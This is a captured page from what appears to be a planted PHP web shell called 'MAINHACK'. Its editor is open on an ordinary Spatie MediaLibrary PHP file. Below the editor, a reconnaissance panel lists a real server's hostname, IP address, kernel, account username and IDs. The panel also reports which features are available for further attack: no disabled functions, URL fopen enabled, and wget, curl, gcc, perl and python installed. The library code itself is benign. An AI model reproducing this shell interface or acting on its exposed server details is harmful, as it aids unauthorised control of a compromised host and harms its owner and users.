[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: FileManipulator.php
<?php namespace Spatie\MediaLibrary\Conversions; use Illuminate\Support\Facades\Storage; use Illuminate\Support\Str; use Spatie\MediaLibrary\Conversions\Actions\PerformConversionAction; use Spatie\MediaLibrary\Conversions\ImageGenerators\ImageGeneratorFactory; use Spatie\MediaLibrary\Conversions\Jobs\PerformConversionsJob; use Spatie\MediaLibrary\MediaCollections\Filesystem; use Spatie\MediaLibrary\MediaCollections\Models\Media; use Spatie\MediaLibrary\ResponsiveImages\Jobs\GenerateResponsiveImagesJob; use Spatie\MediaLibrary\Support\TemporaryDirectory; class FileManipulator { public function createDerivedFiles( Media $media, array $onlyConversionNames = [], bool $onlyMissing = false, bool $withResponsiveImages = false ): void { if (! $this->canConvertMedia($media)) { return; } [$queuedConversions, $conversions] = ConversionCollection::createForMedia($media) ->filter(function (Conversion $conversion) use ($onlyConversionNames) { if (count($onlyConversionNames) === 0) { return true; } return in_array($conversion->getName(), $onlyConversionNames); }) ->filter(fn (Conversion $conversion) => $conversion->shouldBePerformedOn($media->collection_name)) ->partition(fn (Conversion $conversion) => $conversion->shouldBeQueued()); $this ->performConversions($conversions, $media, $onlyMissing) ->dispatchQueuedConversions($media, $queuedConversions, $onlyMissing) ->generateResponsiveImages($media, $withResponsiveImages); } public function performConversions( ConversionCollection $conversions, Media $media, bool $onlyMissing = false ): self { if ($conversions->isEmpty()) { return $this; } $temporaryDirectory = TemporaryDirectory::create(); $copiedOriginalFile = app(Filesystem::class)->copyFromMediaLibrary( $media, $temporaryDirectory->path(Str::random(32) . '.' . $media->extension) ); $conversions ->reject(function (Conversion $conversion) use ($onlyMissing, $media) { $relativePath = $media->getPath($conversion->getName()); if ($rootPath = config("filesystems.disks.{$media->disk}.root")) { $relativePath = str_replace($rootPath, '', $relativePath); } return $onlyMissing && Storage::disk($media->disk)->exists($relativePath); }) ->each(function (Conversion $conversion) use ($media, $copiedOriginalFile) { (new PerformConversionAction())->execute($conversion, $media, $copiedOriginalFile); }); $temporaryDirectory->delete(); return $this; } protected function dispatchQueuedConversions( Media $media, ConversionCollection $conversions, bool $onlyMissing = false ): self { if ($conversions->isEmpty()) { return $this; } $performConversionsJobClass = config( 'media-library.jobs.perform_conversions', PerformConversionsJob::class ); /** @var PerformConversionsJob $job */ $job = (new $performConversionsJobClass($conversions, $media, $onlyMissing)) ->onConnection(config('media-library.queue_connection_name')) ->onQueue(config('media-library.queue_name')); dispatch($job); return $this; } protected function generateResponsiveImages(Media $media, bool $withResponsiveImages): self { if (! $withResponsiveImages) { return $this; } if (! count($media->responsive_images)) { return $this; } $generateResponsiveImagesJobClass = config( 'media-library.jobs.generate_responsive_images', GenerateResponsiveImagesJob::class ); /** @var GenerateResponsiveImagesJob $job */ $job = (new $generateResponsiveImagesJobClass($media)) ->onConnection(config('media-library.queue_connection_name')) ->onQueue(config('media-library.queue_name')); dispatch($job); return $this; } protected function canConvertMedia(Media $media): bool { $imageGenerator = ImageGeneratorFactory::forMedia($media); return $imageGenerator ? true : false; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285